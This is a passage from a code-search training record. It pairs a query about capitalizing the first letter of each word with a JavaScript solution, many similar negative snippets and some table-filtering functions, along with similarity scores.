'machine'){\n\t\t\tthis.setState({\n\t\t\t\tfilteredIndexes:arr,\n\t\t\t\tmachineFilter:value,\n\t\t\t\tselected:[],\n\t\t\t});\n\t\t} else if (type === 'username'){\n\t\t\tthis.setState({\n\t\t\t\tfilteredIndexes:arr,\n\t\t\t\tusernameFilter:value,\n\t\t\t\tselected:[],\n\t\t\t});\n\t\t} else if (type === 'time'){\n\t\t\tthis.setState({\n\t\t\t\tfilteredIndexes:arr,\n\t\t\t\ttimeFilter:value,\n\t\t\t\tselected:[],\n\t\t\t});\n\t\t}else {\n\t\t\tthis.setState({\n\t\t\t\tfilteredIndexes:arr,\n\t\t\t\tselected:[],\n\t\t\t});\n\t\t}\n\t}", "function dataFilter() { \n\n // Select the date from the in put\n var date = inputField.property(\"value\");\n\n // Set temporary variable to be written over with reduced data\n tempData = tableData;\n\n // Condition to check date goes here, if DNE or empty then load normally\n if (date) { // This will check if there is a value that have been passed\n tempData = tempData.filter(ufoData => ufoData.datetime === date)\n }\n\n tableTalk(tempData);\n}", "setFilterData(filters) {\n if (filters) {\n this.filterData = filters;\n }\n }", "function filterAttributes(data){\n let filtered_data = {};\n {conditionalFilter}\n return filtered_data;\n}", "applyFilter(filter){\n var arr=[];\n if(filter===\"Projects\"){\n data.map((object,i)=>{\n if(this.state.value.includes(object.Project)){\n arr.push(object);\n }\n })\n }\n else if(filter===\"Resources\"){\n data.map((object,i)=>{\n if(this.state.value.includes(object.Name)){\n arr.push(object);\n }\n })\n }\n if(filter===\"Status\"){\n data.map((object,i)=>{\n if(this.state.value.includes(object.Status)){\n arr.push(object);\n }\n })\n }\n if(arr.length==0){\n arr=data;\n }\n this.setState({tableData:arr})\n }", "onFiltersCleared() {\n }", "function isFiltered() {\n return (_queryText != undefined && _queryText.length);\n }", "onStoreFilter() {\n // Pass false to not refresh rows.\n // Store's refresh event will refresh the rows.\n this.refreshHeaders(false);\n }", "onStoreFilter() {\n // Pass false to not refresh rows.\n // Store's refresh event will refresh the rows.\n this.refreshHeaders(false);\n }", "handleFilterClear() {\n let newTableFilters = new Map(this.state.tableFilters);\n newTableFilters.delete(this.state.filterColumn);\n this.setState({ isTableFilterTextDialogOpen: false, tableFilters: newTableFilters, filterColumn: null });\n\n this.retrieveStudents(this.state.sortColumn, this.state.sortOrder, this.state.page, this.state.rowsPerPage, newTableFilters);\n }", "_refreshFilter() {\n const that = this;\n\n if (that.filterable) {\n that.$.filterInput.disabled = that.disabled || that.displayLoadingIndicator ? true : false;\n that.$filterInputContainer.removeClass('jqx-hidden');\n that.$itemsContainer.addClass('filter');\n return;\n }\n\n that.$.filterInput.disabled = true;\n that.$filterInputContainer.addClass('jqx-hidden');\n that.$itemsContainer.removeClass('filter');\n }", "function handleSearchButtonClick() \n{\n var filterDateTime = $dateTimeInput.value.trim().toLowerCase(); \n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n \n if (filterDateTime || filterCity || filterState || filterCountry || filterShape)\n {\n if (filterDateTime){ \n \n search_data = dataSet.filter (function(sighting) { \n var SightingDateTime = sighting.datetime.toLowerCase();\n return SightingDateTime === filterDateTime;\n });\n } else {search_data = dataSet}; \n \n if (filterCity){\n \n search_data = search_data.filter (function(sighting) {\n var SightingCity = sighting.city.toLowerCase();\n return SightingCity === filterCity;\n });\n } else {search_data = search_data}; \n\n if (filterState){\n search_data = search_data.filter (function(sighting) {\n var SightingState = sighting.state.toLowerCase();\n return SightingState === filterState;\n });\n } else {search_data = search_data}; \n\n if (filterCountry){\n search_data = search_data.filter (function(sighting) {\n var SightingCountry = sighting.country.toLowerCase();\n return SightingCountry === filterCountry;\n });\n } else {search_data = search_data}; \n\n if (filterShape){\n search_data = search_data.filter (function(sighting) {\n var SightingShape = sighting.shape.toLowerCase();\n return SightingShape === filterShape;\n });\n } else {search_data = search_data}; \n\n\n } else {\n // Show full dataset when the user does not enter any serch criteria\n search_data = dataSet; \n }\n $('#table').DataTable().destroy(); \n renderTable(search_data); \n pagination_UFO(); \n}", "\"filter:database\"(queryPayload) {\n return queryDatabase(queryPayload, (data, attrs) => _.filter(data.results, attrs));\n }", "isFiltered(key) {\n const item = this._.get(key);\n return item ? item.filtered : false;\n }", "function onFilter() {\n if (component.filterChanged && component.visibleRows !== grid.api.core.getVisibleRows().length) {\n var visibleRows = grid.api.core.getVisibleRows();\n if (isFiltering()) {\n changeRecords(visibleRows.length);\n } else {\n changeRecords(component.model.values.length);\n }\n // Update row number column size\n updateRowNumberColumn();\n if (visibleRows.length > 0) {\n var columns = component.getColumns();\n grid.api.core.scrollToIfNecessary(visibleRows[0], columns[0]);\n }\n component.filterChanged = false;\n }\n }", "clearFilter(){\n\t\tthis.filtered = [];\n\t}", "applyFilter() {\r\n let obj = getForm(this.filterSchema, this.refs);\r\n if (obj.state || obj.propertyType) {\r\n this.refs.propertyGrid.onSelectAll(false, []);\r\n this.props.toggleButtonText(false);\r\n this.stateSet({ filterObj: { ...obj, companyId: this.companyId }, selectedData: [] });\r\n }\r\n else\r\n this.props.notifyToaster(NOTIFY_ERROR, { message: this.strings.SEARCH_WARNING });\r\n }", "applyFilter(e) {\n this.setState({\n showFilter: false\n });\n const checkBox = document.querySelectorAll('.filterInput');\n this.insuranceProviderName = [];\n let filterData = [];\n this.serviceAreaIds = [];\n _.each(checkBox, (val) => {\n const split = val.getAttribute('id').split('_');\n if (val.getAttribute('click') === 'true') {\n if (split[0] === 'insuranceProviderName') {\n this.insuranceProviderName.push(split[1]);\n } else {\n this.serviceAreaIds.push(split[1]);\n }\n }\n });\n if (this.serviceAreaIds.length) {\n _.each(data.content, (val) => {\n _.each(this.serviceAreaIds, (key) => {\n if (key === val.plan.planEligibility.serviceAreaIds[0]) {\n filterData.push(val);\n }\n });\n });\n }\n\n if (this.insuranceProviderName.length) {\n let filter = [];\n _.each(data.content, (val) => {\n _.each(this.insuranceProviderName, (key) => {\n if (key === val.plan.insuranceProviderName) {\n filterData.push(val);\n }\n });\n });\n if (filterData.length) {\n _.each(filterData, (val) => {\n _.each(this.insuranceProviderName, (key) => {\n if (key === val.plan.insuranceProviderName) {\n filter.push(val);\n }\n })\n });\n }\n const uniqueData = filter.map(e => e.plan.createdAt).\n // store the keys of the unique objects\n map((e, i, final) => final.indexOf(e) === i && i)\n // eliminate the dead keys & return unique objects\n .filter((e) => filter[e]).map(e => filter[e]);\n if (this.serviceAreaIds.length) {\n filterData = [];\n _.each(this.serviceAreaIds, (key) => {\n _.each(uniqueData, (val) => {\n if (key === val.plan.planEligibility.serviceAreaIds[0]) {\n filterData.push(val);\n }\n });\n });\n }\n }\n this.setState({ originalData: filterData });\n }", "filteredCheck() {\n const { filteredItems, localItems, localFilter } = this\n return { filteredItems, localItems, localFilter }\n }", "function defaultFilter() {\n\t return !exports.event.button;\n\t }", "function defaultFilter() {\n\t return !exports.event.button;\n\t }", "function filterDogs(event){\n let goodDogs = []\n if (event.target.innerText == \"Filter good dogs: OFF\") {\n event.target.innerText = \"Filter good dogs: ON\"\n allDogs.forEach(dog => {\n if (dog.isGoodDog)\n goodDogs.push(dog)})\n clearDiv(getNavBar())\n iterateAllDogs(goodDogs) \n }\n else if (event.target.innerText = \"Filter good dogs: ON\"){\n event.target.innerText = \"Filter good dogs: OFF\"\n clearDiv(getNavBar())\n iterateAllDogs()\n }\n}", "function clearFilter(){\n vm.search = '';\n }", "handleEventFiltering() {\n this.events = this.filterByType(this.replicaSetEvents.events, this.eventType);\n this.events = this.filterBySource(this.events, this.eventSource);\n }", "filterReviews() {\n return this.props.review.filter(review => {\n return review.productId === parseInt(this.props.productId, 10) && review.userId === this.props.userId\n })\n }", "_loadData(isRefresh) {\n\n const { getOptionData } = this.props.navigation.state.params;\n\n this.setState({\n loadingVisible: true\n });\n\n getOptionData((data) => {\n\n for (i in this.state.selectedItems) {\n index = data.findIndex(item => item.ID === this.state.selectedItems[i].ID);\n if (index >= 0) {\n data[index].isSelected = true;\n }\n }\n\n // --------- Neu ko dung Filter text\n this.setState({\n ...this.state,\n data: data,\n loadingVisible: false,\n dataSource: data\n });\n\n // --------- Neu dung Filter text\n // this.setState({\n // ...this.state,\n // data: data,\n // loadingVisible: false,\n // });\n\n // this._filterSearch(this.state.text);\n });\n }" ]
[ "0.6189222", "0.6187581", "0.6155522", "0.6099966", "0.5907959", "0.5887164", "0.5869275", "0.5860046", "0.58545834", "0.58311486", "0.5819183", "0.58065426", "0.578528", "0.57836896", "0.5768845", "0.57682925", "0.576386", "0.5760661", "0.57404083", "0.573947", "0.57302976", "0.57282406", "0.57096356", "0.57078236", "0.57039344", "0.570188", "0.5693443", "0.5668764", "0.5657407", "0.564977", "0.56354713", "0.56215537", "0.56158155", "0.5605923", "0.5599207", "0.55890834", "0.5575181", "0.55749184", "0.55737686", "0.55737686", "0.55701715", "0.55591273", "0.55527985", "0.55462915", "0.5530566", "0.55142224", "0.5507677", "0.55025065", "0.54988533", "0.5489299", "0.54662514", "0.5464268", "0.5461222", "0.5458786", "0.54555434", "0.5452271", "0.54515254", "0.5440676", "0.54358286", "0.5434189", "0.543129", "0.542931", "0.542908", "0.5425653", "0.5418325", "0.5413856", "0.54074085", "0.5401487", "0.54009545", "0.54006296", "0.540051", "0.5385469", "0.53832954", "0.53818715", "0.5381794", "0.5380316", "0.53653544", "0.53590477", "0.5356448", "0.53536534", "0.5353205", "0.53457177", "0.53457177", "0.53452504", "0.5344341", "0.53441393", "0.5340912", "0.5338415", "0.5335424", "0.533541", "0.53320235", "0.5331342", "0.5330922", "0.5324714", "0.5324714", "0.5309644", "0.5309012", "0.5307953", "0.5307952", "0.5303256" ]
0.6652571
0
split the input string by spaces for each word in the array > uppercase the first letter of the word > join the first letter with the rest of the string. > push the result into words array join words into a string and return.
function capitalize(str) { const words = []; //str.split(' '); // words = str.split(' ') for (let word of str.split(' ')) { var currentWord = word[0].toUpperCase() + word.slice(1); words.push(currentWord); } return words.join(' '); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function toUpperEachWord(str){\n str = str.toLowerCase();\n var strArray = str.split(\" \");\n var newString = \"\";\n \n for(var i = 0; i < strArray.length; i++){\n newString += strArray[i].substring(0, 1).toUpperCase() + strArray[i].substring(1);\n \n if(i < strArray.length - 1){\n newString += \" \"; \n }\n }\n return newString\n}", "function capitalizeAllWords(string) {\n// will use .toLower case and .split to lowercase and put in an array\nvar myArr = string.toLowerCase().split(\" \")\n// will use for loop to itterate over array\nfor(var i = 0; i < myArr.length; i++){\n // Will use charAt to return the character in string\n // will use toUpperCase to uppercase the first characters\n //will use .slice to add remaing array\n myArr[i] = myArr[i].charAt(0).toUpperCase() + myArr[i].slice(1);\n}\n // use join() to turn array to string and return\n return myArr.join(\" \");\n}", "function capitalizeAllWords(string){\n var splitString = string.split(' '); //splitting string at spaces into an array of strings\n //splitString is now an array containing each word of the string separately\n for(var i = 0; i < splitString.length; i++){\n var letters = splitString[i].split(''); //separating each word in array into an array of letters\n letters[0] = letters[0].toUpperCase(); //sets letter at index[0] to upper case\n splitString[i] = letters.join(''); //slaps em all back together\n }\n return splitString.join(' ');\n}", "function capitalizeAllWords(string) {\n //split string into array of string words\n var splitStr = string.split(\" \");\n //loop through array\n for(var i = 0; i < splitStr.length; i++){\n //if there is a value at element then do a thing\n if(splitStr[i]){\n //access word in word array,uppercase first char, then slice the rest back on\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].slice(1);\n }\n string = splitStr.join(\" \");\n }\n return string;\n}", "function capitalizeWords(input) {\n\n let wordInput = input.split(' ');\n\n for (let i = 0; i < wordInput.length; i++) {\n var lettersUp = ((wordInput[i])[0]).toUpperCase();\n wordInput[i] = wordInput[i].replace((wordInput[i])[0], lettersUp);\n }\n return console.log(wordInput.join(\" \"));\n}", "function capitalizeAllWords(string) {\n let newString = string.split(\" \"); // splitting strings with \"\"\n let arr = []; // created a empty array\n for (let i = 0; i < newString.length; i++) { // loop through array\n // push in newString in arr toUpperCase joined with the substring\n arr.push(newString[i][0].toUpperCase() + newString[i].substring(1));\n \n }\n return arr.join(\" \"); // return arr with .join\n}", "function LetterCapitalize(str) {\n\nlet words = str.split(' ')\n\nfor ( i = 0 ; i < words.length ; i++) {\n\n words[i] = words[i].substring(0,1).toUpperCase() + words[i].substring(1)\n\n}\n\nwords = words.join(' ')\nreturn words\n\n}", "function capitalizeAllWords(string) {\n //I-string of words\n //O-each word capitalized\n //C-\n //E-\n \n //Ok, I should split the strings by spaces, then do the individual words.\n let arrayWords = string.split(\" \");\n //Now I have an array of strings. So loop through the array to cap\n for(let i = 0; i <= arrayWords.length-1; i++) {\n let arrayInd = [];\n arrayInd = arrayWords[i].split(\"\");\n arrayInd[0] = arrayInd[0].toUpperCase();\n arrayWords[i] = arrayInd.join(\"\");\n }\n string = arrayWords.join(\" \");\n return string;\n}", "function capitalizeAllWords(string) {\n var splitStr = string.toLowerCase().split(' ');\n \nfor (var i = 0; i < splitStr.length; i++){\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].slice(1);\n}\nreturn splitStr.join(' ');\n}", "function capitalizeAllWords(string) {\n var split = string.split(\" \"); //splits string up\n for (var i = 0; i < split.length; i++) { //loops over array of strings\n split[i] = split[i][0].toUpperCase() + split[i].slice(1); //uppercases first chas on string and slices the extra letter\n }\n var finalStr = split.join(' '); // joins split string into one string\n return finalStr; //return final string\n}", "function capitalizeAllWords(string) {\n var array = string.split(\" \");\n var tmp_str = \"\";\n var new_array = [];\n for (var i = 0; i < array.length; i++)\n { \n tmp_str = array[i].charAt(0).toUpperCase();\n for (var j = 1; j < array[i].length; j++)\n {\n tmp_str += array[i][j];\n }\n new_array.push(tmp_str);\n }\n console.log(array);\n return new_array.join(\" \");\n}", "function everyWordCapitalized(aPhrase) {\n var becomeAnArray = aPhrase.split(\" \");\n \n for (var i=0; i<becomeAnArray.length; i++){\n var firstChar = becomeAnArray[i].charAt(0);\n var rest = becomeAnArray[i].substring(1);\n \n \n \n firstChar = firstChar.toUpperCase();\n rest = rest.toLowerCase();\n becomeAnArray[i] = firstChar + rest;\n \n }\n \n return becomeAnArray.join(\" \");\n}", "function f(str) {\n let phrase = str.split(\" \");\n let newPhrase = [];\n for (i=0; i < phrase.length; i++) {\n let word = phrase[i];\n let newWord = [];\n for (j=0; j < word.length; j++) {\n if (j === 0) newWord.push(word[j].toUpperCase());\n if (j !== 0) newWord.push(word[j].toLowerCase());\n };\n newWord = newWord.join('');\n newPhrase.push(newWord);\n };\n console.log(newPhrase.join(' '));\n return newPhrase.join(' ');\n}", "function Capitaliser(input) {\n const eachWord = input.split(\" \");\n for (let index = 0; index < eachWord.length; index++) {\n eachWord[index] = eachWord[index][0].toUpperCase() + eachWord[index].substr(1);\n }\n return eachWord.join(\" \");\n}", "function f(str) {\n const words = str.split(' ');\n let capitalizedWords = [];\n for (let i = 0; i < words.length; i++) {\n const capitalizedWord = words[i].charAt(0).toUpperCase() + words[i].slice(1).toLowerCase();\n capitalizedWords.push(capitalizedWord);\n }\n return capitalizedWords.join(' ');\n}", "function capitalizeLetters(str) {\n// const strArr = str.toLowerCase().split(' ');\n\n// for(let i = 0; i< strArr.length; i++){\n// strArr[i] = strArr[i].substr(0,1).toUpperCase() + strArr[i].substr(1);\n// }\n\n// return strArr.join(' ');\n\n///////////////////////////////////////////////////////////\n\n return str\n .toLowerCase()\n .split(' ')\n .map(word => word[0].toUpperCase() + word.substr(1))\n .join(' ');\n}", "function capitalizeEveryWordOfAStringLib (string) {\n let words = string.split(\" \");\n\n for (let i = 0; i < words.length; i++) {\n\n words[i] = words[i][0].toUpperCase() + words[i].substr(1);\n\n }\n\n return words.join(\" \");\n}", "function toCap(str)\n{\n let strArray = str.split(' ');\n let result = strArray.map(function(word)\n {\n return(word[0].toUpperCase().concat(word.slice(1).toLowerCase()));\n });\n console.log(result.join(' '));\n}", "function LetterCapitalize(str) {\n var strArr = str.split(\" \");\n var newArr = [];\n\n for(var i = 0 ; i < strArr.length ; i++ ){\n\n var FirstLetter = strArr[i].charAt(0).toUpperCase();\n var restOfWord = strArr[i].slice(1);\n\n newArr[i] = FirstLetter + restOfWord;\n\n }\n\n return newArr.join(' ');\n\n}", "function capitalizeAllWords(string) {\n var arr = string.split(\" \");\n for (var i = 0;i < arr.length; i++){\n arr[i] = arr[i].charAt(0).toUpperCase() + arr[i].slice(1);\n }\n return arr.join(\" \");\n}", "function FirstUpper(str) {\n // will split the string delimited by space into an array of words\n str = str.toLowerCase().split(' '); \n\n// str.length holds the number of occurrences of the array...\n for(var i = 0; i < str.length; i++){ \n// splits the array occurrence into an array of letters \n str[i] = str[i].split(''); \n// converts the first occurrence of the array to uppercase \n str[i][0] = str[i][0].toUpperCase(); \n// converts the array of letters back into a word. \n str[i] = str[i].join(''); \n }\n// converts the array of words back to a sentence.\n return str.join(' '); \n}", "function ucWords(string) {\n var arrayWords;\n var returnString = \"\";\n var len;\n arrayWords = string.split(\" \");\n len = arrayWords.length;\n for (var i = 0; i < len; i++) {\n if (i != (len - 1)) {\n returnString = returnString + ucFirst(arrayWords[i]) + \" \";\n }\n else {\n returnString = returnString + ucFirst(arrayWords[i]);\n }\n }\n return returnString;\n}", "function capitalizeAllWords(string){\nvar subStrings = string.split(\" \");\nvar upperString = \"\";\nvar finishedString = \"\";\n for(var i = 0; i < subStrings.length; i++){\n if(subStrings[i]) {\n upperString = subStrings[i][0].toUpperCase() + subStrings[i].slice(1) + \" \";\n finishedString += upperString;\n }\n } return finishedString.trim()\n}", "function capitalizeWords(str) {\n return str.split(\" \").reduce((acc,word) => {\n acc += (word[0].toUpperCase() + word.slice(1) + \" \")\n return acc;\n },\"\")\n}", "function capitalizeAllWords(string) {\n \n // Should take a string of words and return a string with all the words capitalized\n \n let newStr = \"\";\n \n for (let word of string.split(\" \")) {\n newStr = newStr + word[0].toUpperCase() + word.substring(1,word.length) + \" \";\n }\n \n return newStr.substring(0,newStr.length - 1);\n \n}", "function capitalize(str) {\n str = str.trim().toLowerCase(); // remove extra whitespace and change all letters to lower case\n var words = str.split(' ') // split string into array of individual words\n str = ''; // clear string variable since all the words are saved in an array\n // this loop takes each word in the array and capitalizes the first letter then adds each word to the new string with a space following \n for (i = 0; i < words.length; i++) {\n var foo = words[i];\n foo = foo.charAt(0).toUpperCase() + foo.slice(1);\n str += foo + \" \";\n }\n return str.trim(); // return the new string with the last space removed\n}", "function titleCase(str) {\n var words = str.toLowerCase().split(' ');\n //console.log(words);\n var caps = words.map(function(word) {\n return word.charAt(0).toUpperCase() + word.substring(1, word.length);\n }).join(' ');\n\n return caps;\n}", "function LetterCapitalize(str) {\n // First, we use the split method to divide the input string into an array of individual words\n // Note that we pass a string consisting of a single space into the method to \"split\" the string at each space\n str = str.split(\" \");\n\n // Next, we loop through each item in our new array...\n for (i = 0; i < str.length; i++) {\n // ...and set each word in the array to be equal to the first letter of the word (str[i][0]) capitalized using the toUpperCase method.\n // along with a substring of the remainder of the word (passing only 1 arg into the substr method means that you start at that index and go until the end of the string)\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\n }\n // Finally, we join our array back together...\n str = str.join(\" \");\n\n // ...and return our answer.\n return str;\n}", "function capitalizeAllWords(string) {\n let stringsArr = string.split(' ');\n for (let i = 0; i < stringsArr.length; i++) {\n stringsArr[i] = stringsArr[i][0].toUpperCase() + stringsArr[i].substring(1);\n }\n return stringsArr.join(' ');\n}", "function titleCase(str) { console.log('IN ZERO-0: ' + str); // \"IN ZERO-0: i'M a lITtlE teA pOt\"\n words = str.toLowerCase().split(' '); console.log('IN ONE-1: ' + words); // \"IN ONE-1: i'm,a,little,tea,pot\"\n\n for(var i = 0; i < words.length; i++) {\n var letters = words[i].split(''); console.log('IN TWO-2: ' + letters); // \"IN TWO-2: (1) i,',m\" \"(2) a\" \"(3) l,i,t,t,l,e\" \"(4) t,e,a\" \"(5) p,o,t\"\n letters[0] = letters[0].toUpperCase(); console.log('IN THREE-3: ' + letters); // \"IN THREE-3: (1) I,',m\" \"(2) A\" \"(3) L,i,t,t,l,e\" \"(4) T,e,a\" \"(5) P,o,t\"\n words[i] = letters.join(''); console.log('IN FOUR-4: ' + words); // \"IN FOUR-4: (1) I'm,a,little,tea,pot\" \"(2) I'm,A,little,tea,pot\"\n } // \"(3) I'm,A,Little,tea,pot\" \"(4) I'm,A,Little,Tea,pot\" \"(5) I'm,A,Little,Tea,Pot\"\n return words.join(' ');\n}", "function ucFirstAllWords(str) {\n var word = str.split(\" \");\n for (var i = 0; i < word.length; i++) {\n var j = word[i].charAt(0).toUpperCase();\n word[i] = j + word[i].substr(1);\n }\n return word.join(\" \");\n}", "function capitalizeFirstWord(str){\n words = [];\n\n for(let word of str.split(' ')){\n words.push(word[0].toUpperCase() + word.slice(1));\n }\n return words.join(' ');\n}", "function capitalizeAllWords(string) {\n var split = string.split(\" \");\n var out = \"\";\n for (var i = 0; i < split.length; i++) {\n out += capitalizeWord(split[i]) + ' ';\n }\n return out.trim();\n}", "function capitalizeWord(string) {\n //I-string of one word\n //O- return the word with first letter in caps\n //C-\n //E-\n let array = string.split(\"\")\n array[0] = array[0].toUpperCase()\n string = array.join(\"\")\n return string\n}", "function titleCase(str) {\n var arr = str.split(' ');\n var newArr = arr.map(function(word) {\n \t return word.charAt(0).toUpperCase() + word.slice(1).toLowerCase(); \n });\n strNew = newArr.join(' ');\n return strNew;\n}", "function capitalizeLetters(str) {\r\n\r\n let strArr = str.toLowerCase().split(' '); //lowercase all the words and store it in an array.\r\n console.log(\"outside: \" + strArr); //Testing use for checking\r\n //iterate through the array\r\n //Add the first letter of each word from the array with the rest of the letter following each word\r\n //Ex) L + ove = Love;\r\n for(let i = 0; i < strArr.length; i++){\r\n strArr[i] = strArr[i].substring(0, 1).toUpperCase() + strArr[i].substring(1);\r\n }\r\n return strArr.join(\" \"); //put the string back together.\r\n\r\n // const upper = str.charAt(0).toUpperCase() + str.substring(1);\r\n // return upper;\r\n}", "function capitalize(str) {\n splitStr = str.split(\" \")\n // console.log(splitStr)\n capitalizedArray =[]\n\n for(let word of splitStr){\n let sliceddWords = word.slice(1)\n // console.log(sliceddWords)\n let firstCapital = (word[0].toUpperCase())\n let joined = (firstCapital+sliceddWords)\n capitalizedArray.push(joined)\n \n \n }\n let result =capitalizedArray.join(\" \")\n\nreturn(result)\n\n\n}", "function titleCase(str) {\n var wordsCap = str.split(\" \");\n var newArr = wordsCap.map(function(x){\n var ltrs = x.split('');\n var newWord = \"\"\n for (var i = 0; i < ltrs.length; i++){\n if (i==0){\n newWord += ltrs[i].toUpperCase()\n } else {\n newWord += ltrs[i].toLowerCase();\n }\n\n }\n return newWord;\n });\n return newArr.join(\" \");\n}", "function titleCase(str) {\n words = str.toLowerCase().split(' '); // Converts the string to lower case and splits it into an array of substrings\n\n for(var i = 0; i < words.length; i++) { // Loops the number of words in the array using str.length\n var letters = words[i].split(''); // Loops throuch each word and splits it into an array of letters\n letters[0] = letters[0].toUpperCase(); // Converts the first letter of each word to uppercase\n words[i] = letters.join(''); // Converts the array of letters back into a string of words\n }\n return words.join(' '); // Converts the array of words back into a string of words separated by spaces\n}", "function titleCase(str) {\n\n var strArr = str.toLowerCase().split(\" \");\n var newArr = [];\n\n for(var i = 0 ; i < strArr.length ; i++ ){\n\n var FirstLetter = strArr[i].charAt(0).toUpperCase();\n var restOfWord = strArr[i].slice(1);\n\n newArr[i] = FirstLetter + restOfWord;\n\n }\n\n return newArr.join(' ');\n\n\n}", "function uppercase(str) \n{ \n var array1 = str.split(' '); \n var newarray1 = []; \n \n for(var x = 0; x < array1.length; x++){ \n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1))\n\n } \n return newarray1.join(' '); \n}", "function f(str) {\n if ( typeof(str) !== \"string\" )\n return undefined;\n let strArr = str.split(\" \");\n for (let i = 0; i < strArr.length; i++)\n {\n strArr[i] = strArr[i].toLowerCase();\n let fLetter = strArr[i].charAt(0).toUpperCase();\n strArr[i] = fLetter + strArr[i].slice(1);\n\n // // capiitalized.push(\n // words[i].charAt(0).toUpperCase() + words[i].slice(1).toLowerCase()\n // );\n // //\n \n }\n return strArr.join(\" \");\n}", "function capitalize(str) {\n const words = [];\n\n for (let word of str.split(' ')) { \n words.push(word[0].toUpperCase() + word.slice(1));\n console.log(word[0]);\n console.log(typeof str);\n }\n return words.join(' ');\n}", "function capitalizeAllWords(string) {\n //in string\n //out string capitalized letters\n //array to collect\n let store = string.split(\" \");\n console.log(store);\n //loop through array, applying captilized word\n for(let i = 0; i < store.length; i++){\n store[i]=capitalizeWord(store[i]);\n }\n console.log(store);\n store = store.join(\" \");\n // console.log(store);\n // store =store.replace(\",\",\" \");\n console.log(store);\n return store;\n}", "function capitalize(str) {\n const array = str.split(' ');\n let newArray = []\n\n for (let word of array) {\n newArray.push(word.slice(0, 1).toUpperCase() + word.slice(1))\n }\n\n return newArray.join(' ')\n\n}", "function capitalizeFirstLetters(input) {\n array = input.split(' ');\n newArray = [];\n for (let i = 0; i < array.length; i++) {\n if (array[i].length > 0) {\n newArray.push(array[i][0].toUpperCase() + array[i].slice(1));\n } else {\n newArray;\n }\n }\n return newArray.join(' ');\n}", "function LetterCapitalize(str) { \n let words = str.split(' ');\n for (let i = 0; i < words.length; i++) {\n let word = words[i][0].toUpperCase() + words[i].slice(1);\n words[i] = word;\n }\n return words.join(' ');\n}", "function capitalizeEveryWordInAString(stringToCapitalize) {\n const arrayOfStrings = stringToCapitalize.toLowerCase().split(\" \");\n let capitalizedString = \"\";\n\n for (let i = 0; i < arrayOfStrings.length; i++) {\n capitalizedString +=\n arrayOfStrings[i].charAt(0).toUpperCase() +\n arrayOfStrings[i].slice(1, arrayOfStrings[i].length) +\n \" \";\n }\n\n return capitalizedString;\n}", "function capitalize(input) {\n var CapitalizeWords = input[0].toUpperCase();\n for (var i = 1; i <= input.length - 1; i++) {\n let currentCharacter,\n previousCharacter = input[i - 1];\n if (previousCharacter && previousCharacter == ' ') {\n currentCharacter = input[i].toUpperCase();\n } else {\n currentCharacter = input[i];\n }\n CapitalizeWords = CapitalizeWords + currentCharacter;\n }\n return CapitalizeWords;\n}", "function letterCapitalize(str)\n{\n var array1 = str.split(' ');\n var newarray1 = [];\n\n for(var x = 0; x < array1.length; x++){\n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1));\n }\n return newarray1.join(' ');\n}", "function capitalize(str) {\n const words = [];\n\n for (let word of str.split(' ')) {\n words.push(word[0].toUpperCase() + word.slice(1)); //?\n }\n return words.join(' ');\n}", "function capitalize(words) {\n const separateWord = words.toLowerCase().split(' ');\n for (let i = 0; i < separateWord.length; i++) {\n separateWord[i] =\n separateWord[i].charAt(0).toUpperCase() + separateWord[i].substring(1);\n }\n return separateWord.join(' ');\n}", "function LetterCapitalize(str) { \n return str\n .split(' ')\n .map(word => word.charAt(0).toUpperCase() + word.slice(1))\n .join(' ');\n}", "function toWeirdCase(str) {\n let words = str.split(\" \");\n console.log(words.length);\n for (let j = 0; j < words.length; j++) {\n let letter = words[j].split(\"\");\n console.log(words[j]);\n\n for (let i = 0; i < letter.length; i++) {\n if (i % 2 == 0) {\n letter[i] = letter[i].toUpperCase();\n } else {\n letter[i] = letter[i].toLowerCase();\n }\n }\n\n words[j] = letter.join(\"\");\n }\n return words.join(\" \");\n}", "function capitalizeWords(str) {\n const words = str.split(' ')\n const upperWords = words.map( word => capitalize(word) )\n return upperWords.join(' ')\n}", "function titleCase(str) {\n str = str.toLowerCase();\n var capsArray = [];\n var wordArray = str.split(\" \");\n for (var i=0; i < wordArray.length; i++){\n var letterArray = wordArray[i].split(\"\");\n letterArray[0] = letterArray[0].toUpperCase();\n capsArray.push(letterArray.join(\"\"));\n console.log(letterArray);\n console.log(capsArray);\n }\n var capsString = capsArray.join(\" \");\n return capsString;\n}", "function LetterCapitalize(str) {\n var splitString = str.split(' ');\n // console.log(splitString)\n for (var i = 0; i < splitString.length; i++) {\n splitString[i] = splitString[i].charAt(0).toUpperCase() + splitString[i].substring(1);\n // console.log(splitString)\n } \n return splitString.join(' ');\n}", "function titleCase(str) {\r\n var words = str.toLowerCase().split(' ');\r\n var charToCapitalize;\r\n\r\n for (var i = 0; i < words.length; i++) {\r\n charToCapitalize = words[i].charAt(0);\r\n // words[i] = words[i].replace(charToCapitalize, charToCapitalize.toUpperCase()); // works only if first letter is not present elsewhere in word\r\n words[i] = words[i].charAt(0).toUpperCase().concat(words[i].substr(1));\r\n }\r\n\r\n return words.join(' ');\r\n}", "function capitalizeWords(str) {\n\tif (str.length === 0) {\n\t\treturn str;\n\t}\n\n\treturn str\n\t\t.split(\" \")\n\t\t.map((word) => capitalizeFirstLetter(word))\n\t\t.join(\" \");\n}", "function titleCase(str) {\n str = str.toLowerCase().split(' '); // will split the string delimited by space into an array of words\n\n for(var i = 0; i < str.length; i++){ // str.length holds the number of occurrences of the array...\n str[i] = str[i].split(''); // splits the array occurrence into an array of letters\n str[i][0] = str[i][0].toUpperCase(); // converts the first occurrence of the array to uppercase\n str[i] = str[i].join(''); // converts the array of letters back into a word\n }\n return str.join(' '); // converts the array of words back to a sentence\n}", "function wordCap(string) {\n return string.split(' ')\n .map((word) => word[0].toUpperCase() + word.slice(1).toLowerCase())\n .join(' ');\n}", "function eachWord(array){\n var translatedArray = [];\n\n array.forEach(function(word) {\n translatedArray.push(translate(word));\n })\n\n var translatedString = translatedArray.join(\" \");\n translatedString = translatedString.toLowerCase();\n var returnString = translatedString.charAt(0).toUpperCase() + 